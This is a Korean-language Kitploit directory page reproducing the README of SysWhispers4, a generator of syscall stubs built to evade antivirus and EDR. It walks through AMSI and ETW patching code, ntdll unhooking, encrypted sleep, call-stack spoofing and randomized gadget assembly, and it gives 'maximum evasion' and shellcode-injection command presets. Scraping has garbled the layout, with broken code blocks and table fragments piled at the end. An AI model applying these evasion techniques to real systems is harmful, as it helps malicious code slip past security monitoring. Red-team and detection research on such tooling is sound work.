Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
SysWhispers4 — 직접 및 간접 시스템 호출을 통한 AV/EDR 우회, Windows NT 3.1부터 Windows 11 24H2까지 · x64 · x86 · WoW64 · ARM64 | Kitploit
도구/GitHubGitHub/joasasantos/syswhispers4
IDS/IPS EvasionPost-ExploitationRed TeamingPayload DevelopmentAdversarial Attack
GitHubjoasasantos/syswhispers4

SysWhispers4

직접 및 간접 시스템 호출을 통한 AV/EDR 우회, Windows NT 3.1부터 Windows 11 24H2까지 · x64 · x86 · WoW64 · ARM64

저장소 보기
546705개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

SysWhispers4

직접 및 간접 시스템 호출을 통한 AV/EDR 우회 Windows NT 3.1부터 Windows 11 24H2까지 · x64 · x86 · WoW64 · ARM64

SysWhispers4는 Python 기반 syscall 스텁 생성기로, ntdll.dll에 AV/EDR 제품이 설치한 사용자 모드 후크를 우회하여 NT 커널 함수를 직접 호출하는 C/ASM 코드를 생성합니다.

SysWhispers → SysWhispers2 → SysWhispers3의 계보를 잇는 이 버전은 현재까지 가장 포괄적인 SSN 해석 전략, 호출 방법, 우회 기능을 추가합니다.


진화: SysWhispers 1 → 4

기능 비교 매트릭스

기능SW1SW2SW3SW4
SSN 해석
정적 임베디드 테이블✅✅✅✅
Hell's Gate (런타임 ntdll 파싱)❌✅✅✅
Halo's Gate (후크 이웃 스캔)❌❌✅✅
Tartarus' Gate (근거리+원거리 JMP)❌❌부분✅
FreshyCalls (VA 기준 정렬)❌❌❌✅ 신규
SyscallsFromDisk (KnownDlls의 클린 ntdll 사용)❌❌❌✅ 신규
RecycledGate (FreshyCalls + opcode 검증)❌❌❌✅ 신규
하드웨어 브레이크포인트 (DR 레지스터 + VEH)❌❌❌✅ 신규
정적 + 동적 폴백❌❌❌✅ 신규
호출 방법
내장 (직접 syscall)✅✅✅✅
간접 (ntdll 가젯으로 jmp)❌❌✅✅
무작위 간접 (호출별 엔트로피)❌❌부분†

† SW3의 무작위 방식에는 레지스터 손상 버그가 있었습니다. RDTSC가 edx(arg2)를 덮어씁니다. SW4는 rdtsc 전에 rdx → r11을 올바르게 저장하고 스택을 건드리지 않고 복원합니다.


v4.1의 새로운 기능

새로운 SSN 해석 방법

SyscallsFromDisk (--resolve from_disk)

\KnownDlls\ntdll.dll에서 ntdll의 클린 복사본을 매핑하고 언후킹된 .text 섹션에서 SSN을 읽습니다. 모든 인라인 후크를 완전히 우회하므로 EDR은 이 읽기를 결코 볼 수 없습니다.```c // Flow: NtOpenSection → NtMapViewOfSection → read clean SSNs → NtUnmapViewOfSection // SSNs come from the on-disk image, guaranteed hook-free SW4_SyscallsFromDisk(pNtdll);

root@kitploit:~
#### RecycledGate (`--resolve recycled`)
FreshyCalls (sort-by-VA)의 안정성과 Hell's Gate의 opcode 검증을 결합합니다. 각 함수에 대해:
1. 정렬된 위치에서 후보 SSN을 가져옵니다 (FreshyCalls)
2. 스텁이 깨끗하면 SSN이 opcode와 일치하는지 확인합니다 (이중 확인)
3. 스텁이 후킹된 경우, 정렬된 인덱스의 SSN을 신뢰합니다 (후킹 저항)

**사용 가능한 가장 견고한 방법** — 후크가 스텁을 재배열하거나 opcode를 수정하더라도, VA-sort는 올바른 SSN을 제공합니다.

#### HW Breakpoint (`--resolve hw_breakpoint`)
**디버그 레지스터** (DR0–DR3)와 Vectored Exception Handler (VEH)를 사용하여 (후킹되었을 수 있는) 함수 바이트를 읽지 않고 SSN을 추출합니다:
1. DR0을 ntdll 스텁의 `syscall` 명령 주소로 설정합니다.
2. VEH 핸들러를 등록합니다.
3. 스텁을 호출합니다 — VEH가 `EXCEPTION_SINGLE_STEP`을 포착합니다.
4. 중단점에서 EAX에 SSN이 포함되어 있습니다 — 이를 캡처합니다.
5. DR0을 지우고, syscall을 건너뛰고, 계속 진행합니다.

후크가 실행을 리디렉션하더라도 작동합니다. 중단점은 `mov eax, <SSN>` 이후에 발생하기 때문입니다.

### 새로운 회피 기법

#### AMSI 우회 (`--amsi-bypass`)
`amsi.dll!AmsiScanBuffer`를 패치하여 `E_INVALIDARG`를 반환하게 함으로써, AMSI가 스캔 인수가 유효하지 않다고 생각하게 만듭니다. `amsi.dll`이 로드되지 않은 경우, 성공을 반환합니다 (패치할 것이 없음).```c
SW4_PatchAmsi();  // Call early, before any suspicious operations

ntdll 언후킹 (--unhook-ntdll)

\KnownDlls\에서 ntdll의 정상 사본을 매핑하고, 후킹된 .text 섹션을 정상 바이트로 덮어씁니다:```c // Call BEFORE SW4_Initialize() for best results SW4_UnhookNtdll(); // Remove ALL inline hooks from ntdll SW4_Initialize(); // Now FreshyCalls/Hell's Gate reads clean stubs

root@kitploit:~
This completely removes all inline hooks from ntdll, making subsequent NT API calls go through original code paths.

#### Anti-Debugging (`--anti-debug`)
디버거/분석 도구의 존재를 감지하기 위해 6가지 검사를 수행합니다:

| 검사 | 기법 | 감지 대상 |
|-------|-----------|---------|
| 1 | `PEB.BeingDebugged` | 표준 디버거 연결 |
| 2 | `NtGlobalFlag` (0x70) | 디버거가 설정한 힙 디버그 플래그 |
| 3 | `RDTSC` 시간 델타 | 단일 스텝 / 트레이싱 |
| 4 | `NtQueryInformationProcess(ProcessDebugPort)` | 커널 디버그 포트 |
| 5 | 힙 플래그 분석 | 디버그 힙 표시자 |
| 6 | 계측 콜백 감지 | EDR 계측 훅 |```c
if (!SW4_AntiDebugCheck()) {
    // Debugger detected — bail out or take evasive action
    ExitProcess(0);
}

슬립 암호화 (--sleep-encrypt)

Ekko 스타일 슬립 중 메모리 암호화를 통해 주기적 메모리 스캐너를 회피:

  1. RDTSC를 통해 무작위 XOR 키 생성
  2. 자체 .text 섹션을 XOR 암호화
  3. 복호화를 위해 대기 가능한 타이머 설정 + APC 큐에 추가
  4. 알림 가능 상태로 슬립
  5. 타이머 발생 → APC가 .text 복호화 → 실행 재개```c // Instead of Sleep(5000), use: SW4_SleepEncrypt(5000); // .text is encrypted during the entire sleep
root@kitploit:~
우회:
- 수면 중 메모리 스캐너 (코드는 암호화된 깨진 데이터로 표시됨)
- 주기적 모듈 스캔 (시그니처가 일치하지 않음)
- 인메모리 PE에 대한 YARA/시그니처 스캔

---

## 모든 기능 (기존 + 신규)

### SSN 해석 방법 (총 8가지)

| Method | Flag | Hook Resistance | Speed | Notes |
|--------|------|:-:|:-:|-------|
| Static | `--resolve static` | 없음 | 가장 빠름 | 내장된 j00ru 테이블, 런타임 파싱 없음 |
| Hell's Gate | `--resolve hells_gate` | 낮음 | 빠름 | opcode 바이트를 읽음 — 후크되면 실패 |
| Halo's Gate | `--resolve halos_gate` | 중간 | 빠름 | 이웃 스캔 (±8 스텁) |
| Tartarus' Gate | `--resolve tartarus` | 높음 | 빠름 | E9/FF25/EB/CC 후크 감지, ±16 이웃 |
| FreshyCalls | `--resolve freshycalls` | **매우 높음** | 중간 | VA로 정렬 — 함수 바이트를 읽지 않음 |
| SyscallsFromDisk | `--resolve from_disk` | **최대** | 느림 | 디스크에서 깨끗한 ntdll 매핑 |
| RecycledGate | `--resolve recycled` | **최대** | 중간 | FreshyCalls + opcode 교차 검증 |
| HW Breakpoint | `--resolve hw_breakpoint` | **최대** | 느림 | DR 레지스터 + VEH |

### 호출 방법 (총 4가지)

| Method | Flag | ntdll 내 RIP | 디스크의 Syscall | 호출별 무작위 |
|--------|------|:-:|:-:|:-:|
| Embedded | `--method embedded` | ❌ | ✅ | ❌ |
| Indirect | `--method indirect` | ✅ | ❌ | ❌ |
| Randomized | `--method randomized` | ✅ | ❌ | ✅ (가젯 64개) |
| Egg Hunt | `--method egg` | ❌ | ❌ | ❌ |

### 회피 옵션 (총 8가지)

| 기능 | Flag | 설명 |
|---------|------|-------------|
| 난독화 | `--obfuscate` | 스텁 재배열 + 14가지 정크 명령 변형 |
| SSN 암호화 | `--encrypt-ssn` | 무작위 컴파일 타임 키로 XOR |
| 스택 스푸핑 | `--stack-spoof` | ntdll에서 가져온 합성 반환 주소 |
| ETW 우회 | `--etw-bypass` | `EtwEventWrite`를 패치하여 ACCESS_DENIED 반환 |
| AMSI 우회 | `--amsi-bypass` | `AmsiScanBuffer`를 패치하여 E_INVALIDARG 반환 |
| ntdll 언후킹 | `--unhook-ntdll` | `\KnownDlls\`에서 깨끗한 `.text` 재매핑 |
| 안티디버그 | `--anti-debug` | 6가지 탐지 검사 (PEB, 타이밍, 힙 등) |
| 슬립 암호화 | `--sleep-encrypt` | 슬립 중 Ekko 스타일 XOR `.text` |

---

## 빠른 시작```bash
git clone https://github.com/CyberSecurityUP/SysWhispers4
cd SysWhispers4

# Optional: update syscall table from j00ru (for --resolve static)
python scripts/update_syscall_table.py

# Common preset — FreshyCalls + direct syscall (recommended start)
python syswhispers.py --preset common

# Injection preset — indirect via Tartarus' Gate
python syswhispers.py --preset injection --method indirect --resolve tartarus

# Maximum evasion: all techniques combined
python syswhispers.py --preset stealth \
    --method randomized --resolve recycled \
    --obfuscate --encrypt-ssn --stack-spoof \
    --etw-bypass --amsi-bypass --unhook-ntdll \
    --anti-debug --sleep-encrypt

# Clean ntdll from disk — bypasses ALL hooks
python syswhispers.py --preset injection \
    --method indirect --resolve from_disk \
    --unhook-ntdll

# Hardware breakpoint SSN extraction
python syswhispers.py --functions NtAllocateVirtualMemory,NtCreateThreadEx \
    --resolve hw_breakpoint

# Egg hunt (no syscall opcode on disk)
python syswhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx \
    --method egg --resolve halos_gate

# ARM64 (Windows on ARM)
python syswhispers.py --preset common --arch arm64

# x86 / WoW64
python syswhispers.py --preset injection --arch x86

# MinGW / Clang (GAS inline assembly)
python syswhispers.py --preset common --compiler mingw

명령줄 참조```

python syswhispers.py [OPTIONS]

Function selection (at least one required): -p, --preset PRESET common | injection | evasion | token | stealth | file_ops | transaction | all -f, --functions FUNCS NtAllocateVirtualMemory,NtCreateThreadEx,...

Target: -a, --arch ARCH x64 (default) | x86 | wow64 | arm64 -c, --compiler COMPILER msvc (default) | mingw | clang

Techniques: -m, --method METHOD embedded (default) | indirect | randomized | egg -r, --resolve RESOLVE freshycalls (default) | static | hells_gate | halos_gate | tartarus | from_disk | recycled | hw_breakpoint

Evasion / Obfuscation: --obfuscate Randomize stub order + inject junk instructions --encrypt-ssn XOR-encrypt SSN table at rest --stack-spoof Include synthetic call stack frame helper --etw-bypass Include user-mode ETW patch function --amsi-bypass Include AMSI bypass (AmsiScanBuffer patch) --unhook-ntdll Include ntdll unhooking (remap from KnownDlls) --anti-debug Include anti-debugging checks (6 techniques) --sleep-encrypt Include Ekko-style sleep encryption

Output: --prefix PREFIX Symbol prefix (default: SW4) -o, --out-file OUTFILE Output filename base (default: SW4Syscalls) --out-dir OUTDIR Output directory (default: .)

Info: --list-functions Print all 64 supported NT functions and exit --list-presets Print all preset definitions and exit -v, --verbose Verbose output / traceback on error

root@kitploit:~
---

## 생성된 파일

| 파일 | 용도 |
|---|---|
| `SW4Syscalls_Types.h` | NT 유형 정의 — 구조체, 열거형, typedef |
| `SW4Syscalls.h` | 함수 프로토타입 + `SW4_Initialize()` + 회피 API 선언 |
| `SW4Syscalls.c` | 런타임 SSN 해석 + 헬퍼 함수 + 회피 구현 |
| `SW4Syscalls.asm` | MASM 시스템 콜 스텁 (MSVC) |
| `SW4Syscalls_stubs.c` | GAS 인라인 어셈블리 스텁 (MinGW / Clang) |

---

## 통합 (MSVC)

1. Visual Studio 프로젝트에 4개 파일을 모두 추가합니다
2. MASM 활성화: **프로젝트 → 빌드 사용자 지정 → masm (.targets)**
3. 시작 시 초기화 함수를 호출합니다```c
#include "SW4Syscalls.h"

int main(void) {
    // Step 1 (optional): Remove ALL hooks from ntdll
    // Call BEFORE Initialize for best results
    SW4_UnhookNtdll();

    // Step 2: Resolve SSNs (required for all dynamic methods)
    if (!SW4_Initialize()) return 1;

    // Step 3 (optional): Evasion patches
    SW4_PatchEtw();    // Suppress user-mode ETW events
    SW4_PatchAmsi();   // Bypass AMSI scanning

    // Step 4 (optional): Verify clean environment
    if (!SW4_AntiDebugCheck()) {
        // Debugger detected — take evasive action
        return 0;
    }

    // Use NT functions directly — all via syscall, no API hooks
    PVOID base = NULL;
    SIZE_T size = 0x1000;
    NTSTATUS st = SW4_NtAllocateVirtualMemory(
        GetCurrentProcess(), &base, 0, &size,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
    );

    // Use encrypted sleep instead of Sleep()
    // SW4_SleepEncrypt(5000);  // .text encrypted during sleep

    return NT_SUCCESS(st) ? 0 : 1;
}

통합 (MinGW/Clang)```bash

x86_64-w64-mingw32-gcc -masm=intel
example.c SW4Syscalls.c SW4Syscalls_stubs.c
-o example.exe -lntdll

root@kitploit:~
---

## SSN 해석 기법

### 정적
생성 시점에 번들된 j00ru 테이블에서 syscall 번호를 포함합니다. 런타임 ntdll 파싱이 없습니다 — 가장 빠르고 단순합니다. 포함된 테이블은 탐지 신호가 되므로, 은닉을 위해서는 동적 방법을 사용하세요.

### FreshyCalls *(기본값 — 권장)*
ntdll에서 모든 `Nt*` 내보내기를 가상 주소순으로 정렬합니다. 정렬된 인덱스 = SSN입니다. **모든** `Nt*` 스텁이 후킹되어 있어도 작동합니다 — 함수 바이트가 아닌 VA만 읽습니다.

### Hell's Gate
각 ntdll 스텁에서 `mov eax, <SSN>` opcode를 직접 읽습니다:```
4C 8B D1 B8 [SSN_lo] [SSN_hi] 00 00

스텁의 첫 바이트가 EDR 후크에 의해 덮어써지면 실패합니다.

Halo's Gate

Hell's Gate를 확장합니다: 스텁이 후크되면 정렬된 내보내기 목록에서 인접한 스텁(±8)을 스캔하고 ±오프셋 연산으로 SSN을 유추합니다.

Tartarus' Gate

Halo's Gate를 확장하여 모든 EDR 후크 패턴을 탐지합니다:

  • E9 xx xx xx xx — 근거리 상대 JMP
  • FF 25 xx xx xx xx — 메모리를 통한 원거리 절대 JMP
  • EB xx — 짧은 JMP
  • CC — int3 중단점
  • E8 xx xx xx xx — call (드묾)

양방향으로 최대 16개의 인접 항목을 스캔합니다.

SyscallsFromDisk (모든 후크 우회)

\KnownDlls\ntdll.dll에서 완전히 깨끗한 ntdll 복사본을 매핑하고 원본 그대로의 .text 섹션에서 SSN을 읽습니다. EDR 후크는 무관합니다 — 후크된 복사본에서는 절대 읽지 않기 때문입니다.

RecycledGate (가장 견고함)

최대 신뢰도를 위해 FreshyCalls와 Hell's Gate를 결합합니다:

  • 기본: VA 정렬 인덱스 (FreshyCalls)
  • 검증: 스텁이 깨끗하면 opcode 교차 검사
  • 폴백: 스텁이 후크되면 VA 정렬을 신뢰

EDR이 후크와 내보내기 테이블 항목을 모두 수정하더라도 VA 정렬은 여전히 올바른 SSN을 제공합니다.

HW Breakpoint (고급)

CPU 디버그 레지스터(DR0–DR3)를 사용하여 ntdll 내부의 syscall 명령에 하드웨어 중단점을 설정합니다. VEH(벡터 예외 처리기)가 중단점을 포착하고 해당 시점에 EAX에서 SSN을 읽습니다. 잠재적으로 변조된 바이트를 읽지 않습니다.


호출 방법

Embedded — Direct Syscall

syscall은 여러분의 스텁 안에 있습니다. 커널 진입 시 RIP는 PE 내부를 가리키므로, non-ntdll RIP를 검사하는 EDR에 탐지될 수 있습니다.

Indirect

미리 찾아둔 ntdll.dll 내부의 syscall;ret 가젯으로 점프합니다. 커널 진입 시 RIP가 ntdll 내부에 있는 것처럼 보이므로 — 정상 API 호출과 동일하게 보입니다.

Randomized Indirect

Indirect와 유사하지만, 호출할 때마다 최대 64개의 풀에서 무작위 가젯을 선택합니다. 특정 ntdll 가젯 주소를 허용 목록에 추가하는 EDR 휴리스틱을 우회합니다. 엔트로피를 위해 RDTSC를 사용합니다 — API 호출이 필요 없습니다.```asm SW4_NtAllocateVirtualMemory PROC mov r10, rcx ; arg1 → r10 (syscall ABI) mov r11, rdx ; SAVE rdx — rdtsc trashes edx! rdtsc ; eax:edx = TSC (clobbers edx) xor eax, edx ; mix and eax, 63 ; pool index (0..63) lea rcx, [SW4_GadgetPool] mov rcx, QWORD PTR [rcx + rax8] ; random gadget mov rdx, r11 ; RESTORE rdx mov eax, DWORD PTR [SW4_SsnTable + N4] jmp rcx ; → random ntdll syscall;ret SW4_NtAllocateVirtualMemory ENDP

root@kitploit:~
### 에그 헌트
스텁은 `syscall` 대신 8바이트 무작위 에그 마커를 포함합니다. `SW4_HatchEggs()`는 시작 시 `.text` 섹션을 스캔하여 각 에그를 `0F 05 90 90 90 90 90 90`로 교체합니다. **디스크의 바이너리에는 `syscall` opcode가 나타나지 않습니다.**

---

## EDR 탐지 환경

| Detection Vector | Embedded | Indirect | Randomized | Egg |
|---|:-:|:-:|:-:|:-:|
| 사용자 모드 후크 우회 | ✅ | ✅ | ✅ | ✅ |
| syscall 시 RIP가 ntdll 내부에 위치 | ❌ | ✅ | ✅ | ❌ |
| 디스크의 바이너리에 `0F 05` 없음 | ✅¹ | ✅ | ✅ | **✅** |
| 호출별 무작위 가젯 | ❌ | ❌ | **✅** | ❌ |
| 클린 콜 스택 | with `--stack-spoof` | with `--stack-spoof` | with `--stack-spoof` | with `--stack-spoof` |
| 슬립 중 메모리 스캔 회피 | with `--sleep-encrypt` | with `--sleep-encrypt` | with `--sleep-encrypt` | with `--sleep-encrypt` |
| 커널 ETW-Ti 우회 | ❌ | ❌ | ❌ | ❌ |

¹ `syscall` opcode는 자신의 PE `.text` 섹션에 있습니다 — ntdll이 아닌 코드 주소에.

> **ETW-Ti** (`Microsoft-Windows-Threat-Intelligence`)는 호출 방식과 관계없이 커널 내부에서 트리거됩니다. 커널 접근 없이 이를 우회할 수 있는 사용자 모드 기술은 없습니다.

---

## 우회 기술 심층 분석

### XOR 암호화된 SSN 테이블 (`--encrypt-ssn`)
SSN 값은 무작위 컴파일 타임 키와 XOR되어 저장됩니다. syscall 직전 ASM 스텁에서 복호화됩니다 — 저장 상태의 바이너리에는 평문 SSN이 나타나지 않습니다.```c
#define SW4_XOR_KEY  0xDEADF00DU
// In SSN table: encrypted value
SW4_SsnTable[fi] = sortedIndex ^ SW4_XOR_KEY;
root@kitploit:~
; In stub: decrypt before syscall
mov eax, DWORD PTR [SW4_SsnTable + N*4]  ; encrypted
xor eax, SW4_XOR_KEY                      ; decrypt
syscall

콜 스택 스푸핑 (--stack-spoof)

보이는 반환 주소를 ntdll 내부의 포인터로 대체하는 트램펄린으로, 호출 체인이 스택 워킹 EDR에게 정당한 것처럼 보이게 합니다.```asm SW4_CallWithSpoofedStack PROC pop r11 ; save real return address push [SW4_SpoofReturnAddr] ; push ntdll address instead push r11 ; real address below (unreachable by walker) jmp rax ; execute target SW4_CallWithSpoofedStack ENDP

root@kitploit:~
### ETW 우회 (`--etw-bypass`)
`ntdll!EtwEventWrite`를 패치하여 즉시 `STATUS_ACCESS_DENIED`를 반환하게 함으로써 사용자 모드 ETW 이벤트 전달을 억제합니다.

> 이 기능은 커널 모드 ETW-Ti 콜백을 우회하지 **않습니다**. 승인된 작업에서만 사용하세요.

### ntdll 언후킹 (`--unhook-ntdll`)
`\KnownDlls\`에서 깨끗한 ntdll을 매핑하고 `memcpy`를 사용하여 깨끗한 `.text` 섹션을 후킹된 섹션 위에 복사합니다:```
Flow: NtOpenSection → NtMapViewOfSection → FindSection(".text") →
      VirtualProtect(RWX) → memcpy(clean→hooked) → VirtualProtect(RX) → cleanup

SSN 해석이 깨끗한 스텁을 읽도록 SW4_Initialize() 전에 호출하세요.

정크 명령어 (--obfuscate)

스텁 명령어 사이에 삽입되는 14가지 서로 다른 무해한 x64 명령 변형:```asm nop ; classic NOP xchg ax, ax ; 2-byte NOP lea r11, [r11] ; no-op LEA nop DWORD PTR [rax] ; multi-byte NOP xchg r11, r11 ; register swap (no-op) test r11d, 0ABh ; flags-only, result discarded push 042h / pop r11 ; push-pop noise fnop ; FPU no-op lea rsp, [rsp + 00h] ; stack identity LEA ; ... and more

root@kitploit:~
---

## 지원되는 기능 (64)```bash
python syswhispers.py --list-functions

프리셋


권장 구성

최소 탐지 범위 (레드팀)```bash

python syswhispers.py --preset stealth
--method randomized --resolve recycled
--obfuscate --encrypt-ssn --stack-spoof
--unhook-ntdll --etw-bypass --amsi-bypass
--anti-debug --sleep-encrypt

root@kitploit:~
### 빠르고 간단함 (CTF / 빠른 테스트)```bash
python syswhispers.py --preset common

과도하게 후킹된 EDR 우회```bash

python syswhispers.py --preset injection
--method indirect --resolve from_disk
--unhook-ntdll --encrypt-ssn

root@kitploit:~
### Process Doppelganging```bash
python syswhispers.py --preset transaction \
    --method indirect --resolve freshycalls

Syscall 테이블 범위

scripts/update_syscall_table.py를 통해 j00ru/windows-syscalls에서 업데이트됨:

OS지원 빌드
Windows 7SP1 (7601)
Windows 8 / 8.1RTM (9200, 9600)
Windows 101507 → 22H2 (10240 → 19045, 14개 빌드)

아키텍처 지원


프로젝트 구조```

SysWhispers4/ ├── syswhispers.py # CLI entry point ├── core/ │ ├── models.py # Enums, dataclasses (8 resolution, 4 invocation methods) │ ├── generator.py # Code generation engine (~1900 lines) │ ├── obfuscator.py # Obfuscation: junk, eggs, XOR, string encryption │ └── utils.py # Hashes (DJB2, CRC32, FNV-1a), data loading ├── data/ │ ├── prototypes.json # 64 NT function signatures │ ├── presets.json # 8 function presets │ ├── syscalls_nt_x64.json # x64 SSN table (Win7–Win11 24H2) │ └── syscalls_nt_x86.json # x86 SSN table ├── scripts/ │ └── update_syscall_table.py # Auto-fetch latest j00ru table └── examples/ └── example_injection.c # Reference integration example

root@kitploit:~
---

## 보안 고지

SysWhispers4는 보안 연구 및 인가된 침투 테스트 도구입니다. 다음 경우에만 사용하십시오:

- 소유하거나 테스트에 대한 명시적 서면 승인을 받은 시스템에서
- CTF 대회에서
- 방어 연구 목적으로(탐지 개선을 위한 공격 기술 이해)
- 보안 제품 시그니처 개발을 위해

소유하지 않은 시스템에 대한 무단 사용은 대부분의 국가에서 불법입니다.

---

## 참고 자료 및 크레딧

| 리소스 | 저자(들) |
|---|---|
| [SysWhispers](https://github.com/jthuraisamy/SysWhispers) | Jackson T. (jthuraisamy) |
| [SysWhispers2](https://github.com/jthuraisamy/SysWhispers2) | Jackson T. (jthuraisamy) |
| [SysWhispers3](https://github.com/klezVirus/SysWhispers3) | klezVirus |
| [SysWhispers3 fork](https://github.com/RWXstoned/SysWhispers3) | RWXstoned |
| [Windows Syscall Tables](https://github.com/j00ru/windows-syscalls) | j00ru |
| [Hell's Gate](https://github.com/am0nsec/HellsGate) | am0nsec, RtlMclovin |
| [Halo's Gate](https://sektor7.net) | SEKTOR7 |
| [Tartarus' Gate](https://github.com/trickster0/TartarusGate) | trickster0 |
| [FreshyCalls](https://github.com/crummie5/FreshyCalls) | crummie5 |
| [RecycledGate](https://github.com/thefLink/RecycledGate) | thefLink |
| [Ekko Sleep Obfuscation](https://github.com/Cracked5pider/Ekko) | C5pider |
| [LayeredSyscall](https://whiteknightlabs.com/2024/07/31/layeredsyscall-abusing-veh-to-bypass-edrs/) | White Knight Labs |
| [Call Stack Spoofing](https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs) | WithSecure Labs |
| [SysWhispers Evolution Analysis](https://sudosiddharths.medium.com/analyzing-the-evolution-and-execution-of-syswhispers-1-3-74cbbcdaf397) | Siddharth S. |

---

## 라이선스

이 프로젝트는 교육 및 인가된 보안 테스트 목적으로 배포됩니다.
도구 다운로드
✅ 수정됨
Egg hunt (디스크에 정적 0F 05 없음)❌❌✅✅
아키텍처
x64✅✅✅✅
x86 (32비트 sysenter)❌❌✅✅
WoW64 (Heaven's Gate)❌❌✅✅
ARM64 (SVC #0, w8)❌❌❌✅ 신규
컴파일러 지원
MSVC (MASM)✅✅✅✅
MinGW / GCC (GAS inline)❌❌✅✅
Clang (GAS inline)❌❌✅✅
우회 / 난독화
함수 이름 해싱❌✅✅✅ (DJB2)
스텁 순서 무작위화❌❌❌✅ 신규
정크 명령어 삽입 (14가지 변형)❌❌❌✅ 신규
XOR 암호화된 SSN 저장❌❌❌✅ 신규
가젯 풀 (최대 64개 가젯)❌❌❌✅ 신규
콜 스택 스푸핑 헬퍼❌❌❌✅ 신규
사용자 모드 ETW 우회❌❌❌✅ 신규
AMSI 우회❌❌❌✅ 신규
ntdll 언후킹 (KnownDlls에서 리맵)❌❌❌✅ 신규
안티 디버깅 (6가지 검사)❌❌❌✅ 신규
슬립 암호화 (Ekko 스타일)❌❌❌✅ 신규
Syscall 테이블
Windows XP → Win10 20H2✅✅✅✅
Windows 11 21H2–24H2❌❌부분✅ 전체
Windows Server 2022/2025❌❌❌✅ 신규
j00ru에서 자동 업데이트❌❌❌✅ 신규
도구
지원되는 NT 함수~12~12~3564
Python 버전2/3333.10+
타입 어노테이션❌❌부분✅ 전체
범주함수
메모리NtAllocateVirtualMemory · NtAllocateVirtualMemoryEx · NtFreeVirtualMemory · NtWriteVirtualMemory · NtReadVirtualMemory · NtProtectVirtualMemory · NtQueryVirtualMemory · NtSetInformationVirtualMemory
섹션/매핑NtCreateSection · NtOpenSection · NtMapViewOfSection · NtUnmapViewOfSection
프로세스NtOpenProcess · NtCreateProcess · NtCreateProcessEx · NtCreateUserProcess · NtTerminateProcess · NtSuspendProcess · NtResumeProcess · NtQueryInformationProcess · NtSetInformationProcess
스레드NtCreateThreadEx · NtOpenThread · NtTerminateThread · NtSuspendThread · NtResumeThread · NtGetContextThread · NtSetContextThread · NtQueueApcThread · NtQueueApcThreadEx · NtQueryInformationThread · NtSetInformationThread · NtAlertThread · NtAlertResumeThread · NtTestAlert
핸들/동기화NtClose · NtDuplicateObject · NtWaitForSingleObject · NtWaitForMultipleObjects · NtSignalAndWaitForSingleObject · NtCreateEvent · NtSetEvent · NtResetEvent · NtCreateTimer · NtSetTimer
파일NtCreateFile · NtOpenFile · NtWriteFile · NtReadFile · NtDeleteFile
토큰NtOpenProcessToken · NtOpenThreadToken · NtQueryInformationToken · NtAdjustPrivilegesToken · NtDuplicateToken · NtImpersonateThread
트랜잭션NtCreateTransaction · NtRollbackTransaction · NtCommitTransaction
기타NtDelayExecution · NtQuerySystemInformation · NtQueryObject · NtFlushInstructionCache · NtContinue
프리셋함수사용 사례
common25일반적인 프로세스/스레드/메모리 작업
injection20셸코드 인젝션, APC 인젝션, 섹션 매핑
evasion15AV/EDR 회피, 프로세스 쿼리, 메모리 조작
token6토큰 조작, 가장, 권한 상승
stealth32최대 회피: 인젝션 + 회피 + 언후킹 지원
file_ops7NT 시스템 콜을 통한 파일 I/O
transaction7프로세스 도펠갱잉 / 트랜잭션 롤백
all64지원되는 모든 함수
Windows 1121H2 → 24H2 (22000 → 26100, 4개 빌드)
Windows Server2022 (20348), 2025 (26100)
아키텍처Syscall 명령어SSN 레지스터지원 메서드
x64syscalleax모두 (embedded, indirect, randomized, egg)
x86sysentereaxEmbedded + Egg
WoW64syscall (64-bit)eax모두 (x64 stubs from 32-bit PE)
ARM64svc #0w8Embedded